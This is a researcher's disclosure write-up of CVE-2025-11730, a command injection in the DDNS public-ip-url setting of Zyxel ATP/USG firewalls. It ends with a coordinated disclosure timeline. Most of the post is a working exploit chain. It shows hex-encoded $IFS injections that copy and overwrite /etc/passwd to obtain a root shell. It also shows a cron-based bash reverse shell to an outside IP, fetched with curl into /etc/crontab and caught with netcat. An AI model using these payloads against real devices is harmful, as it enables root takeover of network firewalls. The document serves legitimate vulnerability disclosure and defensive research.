ZYXEL
    Remote Code Execution
    ZLD 5.41

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)

    February 5, 2026
    4 min read
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)

    Most of the time, the solution is obvious once you stop overthinking.
    -Anonymous

    ZYXEL Remote Code Execution via DDNS profile configuration

    Introduction

    During my routine research on ZYXEL devices I revisited an analysis I had put aside: the Dynamic DNS Feature. This section manages the firewall's dynamic DNS service, used when the public IP is dynamic and must be updated each time it changes.

    In this article I show how, by configuring a DDNS Profile with a crafted URL, it is possible to obtain a root shell. \o/

    CLI Overview

    In the DDNS profile configuration you can specify which URL the device will query to determine its public IP. This is done by setting the public-ip-url parameter to a string that must begin with http:// or https://.

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router> # Hello ZySH!
    Router> configure terminal 
    Router(config)# ip ddns profile Primario
    Router(config-ip-ddns)# public-ip-url <tab>
    <URL>
    Router(config-ip-ddns)# public-ip-url http://test.dev
    Router(config-ip-ddns)# exit
    Router(config)# ip ddns update Primario
    Router(config)# 

    Let's see under the hood, what's going on.

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router# debug system ps | match "test.dev"
     2136  2135 curl            root     ?          0  19  0.0  0.1 SN     8180  2716   484  2045 02:49:52       00:00 00:00:00 curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev
     2135 24891 sh              root     ?          0  19  0.0  0.0 SN     3552  1440   276   888 02:49:52       00:00 00:00:00 sh -c curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://test.dev > /tmp/ddns_Primario_publicip

    The device then executes a curl to the specified URL and writes the response to /tmp/ddns_$PROFILENAME_publicip.

    Restrictions Analysis

    I tried a series of classic injections, but I got nothing. The public-ip-url parameter doesn't accept characters like {}, ,, <space>, #, ", '. It wasn't even possible to use curly braces to nest commands and their arguments, as in CVE-2025-8078.

    Since the restricted characters are very few, and the most important ones are allowed like $, ;, \, I decided to use shell variables to encode the spaces I needed.

    The restriction depends on the zysh binary, which then passes the call to ddns_had, (the zyxel's daemon which run the update every N seconds.) which executes the injection without issues.

    Some unsuccessful injections

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router(config-ip-ddns)# public-ip-url http://;ping 1.1.1.1;
    % (after 'http://;ping'): Parse error
    retval = -1
    ERROR: Parse error/command not found!
    Router(config-ip-ddns)#

    Example with Brackets

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router(config-ip-ddns)# public-ip-url http://;{ping,1.1.1.1};
    % (after 'http://;'): Parse error
    retval = -1
    ERROR: Parse error/command not found!
    Router(config-ip-ddns)# 

    Examples with $IFS

    Turns out it actually worked-who knew? I just assumed I needed braces to make it work. It was 4 a.m., cut me some slack

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router(config-ip-ddns)# public-ip-url http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router> debug system ps | match "curl"
    19304 19302 curl            root     ?         19   0  0.0  0.1 S      8180  2716   484  2045 03:19:02       00:00 00:00:00 curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c;cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf
    19302  3098 sh              root     ?         19   0  0.0  0.0 S      3556  1460   280   889 03:19:02       00:00 00:00:00 sh -c curl --connect-timeout 5 --interface eth1 --cacert /share/cacert.pem http://a.b.c;cp$IFS/etc/passwd$IFS/etc/zyxel/ftp/conf/passwd.conf > /tmp/ddns_aaa_publicip

    d

    ddhs_had: Crash!

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    // /usr/sbin/ddns_had
    [..SNIP..]
    int FUN_1000a218(int param_1,longlong param_2)
    
    {
      FILE *__stream;
      longlong lVar1;
      int iVar2;
      int iVar3;
      char local_250 [256];
      char local_150 [256];
      char acStack_50 [16];
      undefined8 local_40;
      undefined8 local_38;
      
      local_150[0] = '\0';
      local_150[1] = '\0';
      iVar3 = param_1 + 0x640;
      memset(local_150 + 2,0,0xfe);
      local_250[0] = '\0';
      local_250[1] = '\0';
      memset(local_250 + 2,0,0xfe);
      if (param_2 == 0) {
        snprintf(local_250,0x100,
                 "curl --connect-timeout 5 --interface %s --cacert /share/cacert.pem %s > /tmp/ddns_%s_p ublicip"
                 ,param_1 + 0x20,iVar3,param_1);
      }
      else {
        snprintf(local_250,0x100,
                 "curl --connect-timeout 5 --interface %s --cacert /share/cacert.pem %s > /tmp/ddns_%s_publicip"
                 ,param_1 + 0xa0,iVar3,param_1);
      }
      system(local_250);
    [..SNIP..]

    In the pseudo-C code, the command is built with:

    • local_250 fixed buffer of 256 bytes.
    • snprintf writes at most 256 bytes including the null terminator.

    If the combined length of interface, host, and id plus the rest of the string exceeds 255 characters:

    snprintf will truncate the string to fit the buffer.

    This means the end of the command may be cut off.

    Example: if the host is very long, the > /tmp/ddns_%s_publicip part might get truncated or partially included.

    This causes the ddns_had daemon to crash because it cannot find the file in /tmp/, making the DDNS service unusable and requiring a physical reboot of the device.

    Escape!

    Before I realized with a clear mind that $IFS works, I played around with the character escaping :)

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ escaped=$(echo -n "a b c" | xxd -p | sed 's/\(..\)/\\x\1/g')
    rainpwn@0xfw01:~$ echo $escaped
    \x61\x20\x62\x20\x63
    rainpwn@0xfw01:~$ 

    Let's analyze the command:

    1. echo -n "a b c"
    • Prints the string a b c
    • The -n option prevents a new line at the end.
    1. | xxd -p
    • Takes the string and converts it to pure hexadecimal (hex).
    • a = 61, space = 20, b = 62, and c = 63
    1. | sed 's/\(..\)/\\x\1/g'
    • sed splits the hexadecimal into pairs of two (..) characters (i.e., one byte).
    • Precede each character with \x.
    • So 61 becomes \x61, 20 becomes \x20, and so on.
    1. escaped=$(..SNIP..)
    • All of this is put into the variable I called escaped.
    • Finally
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    echo $escaped

    show

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    \x61\x20\x62\x20\x63

    This is a great way to bypass some restrictions.

    Based on this, to test the escaping functionality, I tried copying the /etc/passwd file to the device's configuration folder.

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ echo $(echo -n "cp /etc/passwd /etc/zyxel/ftp/conf/passwd.conf" | xxd -p | sed 's/\(..\)/\\x\1/g')
    \x63\x70\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66
    rainpwn@0xfw01:~$
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router(config-ip-ddns)# public-ip-url http://127.0.0.1/;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66'&&$CMD
    Router(config-ip-ddns)#
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router> dir /conf/passwd.conf
    File Name                                          Size     Modified Time
    ===============================================================================
    passwd.conf                                        2173      2025-09-22 03:31:04
    Router> 

    And it worked!

    Copy tampered passwd and ssh-in

    Using FTP, I uploaded the altered passwd file, changing my user shell from /bin/zysh to /bin/bash

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router(config-ip-ddns)# public-ip-url http://;CMD=$'\x63\x70\x20\x2f\x65\x74\x63\x2f\x7a\x79\x78\x65\x6c\x2f\x66\x74\x70\x2f\x63\x6f\x6e\x66\x2f\x70\x61\x73\x73\x77\x64\x2e\x63\x6f\x6e\x66\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'&&$CMD

    Next, when we log in, we have our root shell

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ ssh 10.168.254.1 -l rainpwn
    Password:
    root@ATP100-TS:/# id; cat /rw/fwversion
    uid=0(root) gid=0(root) groups=0(root)
    KERNEL_VERSION=3.10.87
    FIRMWARE_VER=5.40(ABPS.0)
    CAPWAP_VER=1.00.04
    MODEL_ID=ATP100
    COMPATIBLE_PRODUCT_MODEL_0=E153
    COMPATIBLE_PRODUCT_MODEL_1=E17F
    COMPATIBLE_PRODUCT_MODEL_2=FFFF
    COMPATIBLE_PRODUCT_MODEL_3=FFFF
    COMPATIBLE_PRODUCT_MODEL_4=FFFF
    KERNEL_BUILD_DATE=2025-05-07 05:01:23
    BUILD_DATE=2025-05-07 05:42:54
    FSH_VER=1.0.0
    root@ATP100-TS:/# born to be root! \o/

    Direct Reverse Shell

    To perform a direct reverse shell, you can set up a web server, create an index.html file (to save characters in the injection), and output it to /etc/crontab. From there, wait for the reverse shell with netcat.

    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ cat index.html
    * * * * * root /bin/bash -l > /dev/tcp/10.168.254.14/1337 0<&1 2>&1
    rainpwn@0xfw01:~$ sudo python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ echo $(echo -n "curl http://10.168.254.14 -o /etc/crontab" | xxd -p | sed 's/\(..\)/\\x\1/g')
    \x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x30\x2e\x31\x36\x38\x2e\x32\x35\x34\x2e\x31\x34\x20\x2d\x6f\x20\x2f\x65\x74\x63\x2f\x63\x72\x6f\x6e\x74\x61\x62
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    Router(config-ip-ddns)# public-ip-url http://;CMD=$'\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x30\x2e\x31\x36\x38\x2e\x32\x35\x34\x2e\x31\x34\x20\x2d\x6f\x20\x2f\x65\x74\x63\x2f\x63\x72\x6f\x6e\x74\x61\x62'&&$CMD
    Router(config-ip-ddns)#
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ sudo python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    10.168.254.1 - - [23/Sep/2025 03:59:43] "GET / HTTP/1.1" 200 -
    10.168.254.1 - - [23/Sep/2025 03:59:53] "GET / HTTP/1.1" 200 -
    CVE-2025-11730: Remote Code Execution via DDNS configuration in ZYXEL ATP/USG Series (V5.41)
    rainpwn@0xfw01:~$ nc -lvnp 1337
    Listening on 0.0.0.0 1337
    Connection received on 10.168.254.1 53679
    id
    uid=0(root) gid=0(root) groups=0(root)
    uname -a
    Linux ATP100-TS 3.10.87-rt80-Cavium-Octeon #2 SMP Wed May 7 05:01:09 CST 2025 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
    cat /rw/fwversion
    KERNEL_VERSION=3.10.87
    FIRMWARE_VER=5.40(ABPS.0)
    CAPWAP_VER=1.00.04
    MODEL_ID=ATP100
    COMPATIBLE_PRODUCT_MODEL_0=E153
    COMPATIBLE_PRODUCT_MODEL_1=E17F
    COMPATIBLE_PRODUCT_MODEL_2=FFFF
    COMPATIBLE_PRODUCT_MODEL_3=FFFF
    COMPATIBLE_PRODUCT_MODEL_4=FFFF
    KERNEL_BUILD_DATE=2025-05-07 05:01:23
    BUILD_DATE=2025-05-07 05:42:54
    FSH_VER=1.0.0

    Disclosure Timeline

    • 2025-09-10: ZYXEL was notified via <security@zyxel.com.tw>.
    • 2025-09-10: ZYXEL acknowledged receipt of my vulnerability report.
    • 2025-10-16: ZYXEL assigned CVE-2025-11730 to the reported issues and informed me of their intention to publish their security advisory on 2026-01-13.
    • 2025-10-31: ZYXEL requested to postpone the public disclosure date to February 5, 2026, as the firmware patch is scheduled for release on February 4, 2026, allowing users adequate time to apply the update and secure their systems before the vulnerability is disclosed.
    • 2026-02-05: ZYXEL published their security advisory, following our coordinated disclosure timeline.